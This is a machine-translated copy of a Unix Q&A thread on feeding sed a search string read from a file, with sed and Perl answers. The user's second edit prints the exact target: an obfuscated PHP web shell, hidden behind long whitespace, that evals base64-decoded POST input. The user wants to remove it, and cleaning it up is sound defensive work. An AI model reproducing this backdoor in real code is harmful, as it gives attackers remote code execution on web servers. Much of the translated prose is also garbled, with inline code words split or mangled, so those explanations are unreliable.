如何从文件中读取sed命令的needle部分?

如何从文件中读取sed命令的needle部分?

我想用 sed 最好的其他东西替换文件的长部分,但想从文件中读取该长部分。我已经找到了这个:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

这里这与我想要实现的目标完全相反。我尝试了很多类似以下的事情,但都给出了错误的结果:

sed -e '/r needle.txt/replace' subject.txt

编辑1

Needle.txt 不是正则表达式,只是我想用大量非 ASCII 字符替换的文本。

编辑2

我正在处理的确切字符串是这样的:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

我想保留最后的<?php

答案1

您可以让 shell 在将文件内容传递到之前展开它们sed

sed -e "s/$(cat needle.txt)/replace/" subject.txt

请注意双引号的使用。

这将使sed任何正则表达式元字符解释为needle.txt正则表达式元字符而不是普通字符。如果needle.txt包含/.

如果您希望按字面needle.txt解释行(即使它们包含正则表达式元字符,如您的示例中所示),您可以执行以下操作:

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

解释

  • 这些-pe开关意味着将逐行后面的代码应用到文件的各行subject.txt,并在处理完后打印每一行。
  • BEGIN{}段仅执行一次。它的作用是打开needle.txt文件并将其所有内容存储在$needle变量中。
  • s/\Q$needle/replace/与您期望的语法相同sed,只是它\Q会导致 Perl 的正则表达式引擎将其后面的所有内容视为固定字符串而不是正则表达式。

答案2

sedead非常奇特r- 它只会对与其模式匹配的行执行此操作 - 并且它总是会执行此操作最后的。如果模式在刷新行之前不再匹配,sed则不会读取文件中的匹配模式。r至少我认为它是这样工作的——我很擅长,sedr有时仍然让我困惑。

无论如何,技巧是让它用它想要的模式刷新该行 - 从而确保该行的输出,但将该输出至少延迟一行,然后对其进行编辑。

您可以相对轻松地完成此操作N;P;D- 这将协同工作,使sed的行计数器比打印的行提前至少一行。考虑以下两个文件:

###file1
some string 1
some string 2
some other string
some string 4
some string 5

###file2
some other file

现在我的目标是执行替换,替换 ead 所依赖的模式r准备r打印其内容我的零钱已打印。我是这样做的:

sed '$!N;s/other \(.*\)\(\n\)/\1 3\2/
     /\n.*other/r file2
     P;D' file1

输出

some string 1
some string 2
some other file
some string 3
some string 4
some string 5

我也用不同的 file2 做了这个,它打印了......

some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5

我确实对这种行为的可移植性有一些相当深刻的保留,但那是在 GNU 中sed,无论它的价值如何。

好的,在上面的命令中,sed是在打印时提前一行读取输入。N将下一个输入行追加到模式空间,P打印\n模式空间中的第一个 ewline 字符,并D删除\n模式空间中的第一个 ewline 字符,然后再重新开始剩余的内容。因此,我们看到打印的每一行都比sed查看它晚了一行——sed在输入上得到一个两行窗口。

匹配 ead 的模式r仅在\n出现 ewline 字符时匹配sed当第一次将其拉入时,它与循环相匹配N- 它仅与我们看不到它的循环相匹配。

\n仅当发生 ewline时才会发生替换模式 -P毕竟,这是它将被打印的周期,但是sed当我们拉入Next 行时,会刷新其行缓冲区并增加该行,因此r会打印然后并且然后发生替换。确实有点乏味,但我也是。

事实上,说到 GNU,sed它确实为此类情况提供了一个相当有趣的选择。

sed '/other/{x;s/.*/cat file2/e;G
     s/\(.*\)\n\(.* \)other \(.*\)/\1 \2\3 3/
}' file 

info sed会告诉你...

  • e [COMMAND] 该命令允许将 shell 命令的输入通过管道传送到模式空间。如果没有参数,‘e’命令执行在模式空间中找到的命令,并用输出替换模式空间;尾随换行符被抑制。

在那里我还做了一些模式空间改组 - 我想要一个空白模式空间来运行我的命令,所以我切换到未使用的保留空间。但它更容易理解,因为您不必考虑行刷新时间。从本质上讲,这就是已经通过其他方式建议的内容,也许有一点好处,因为任何 的sed特殊字符如果存在于目标读取文件中都不会生成错误。

哦,顺便说一下,上面的打印内容:

some string 1
some string 2
some other file some string 3
some string 4
some string 5

相关内容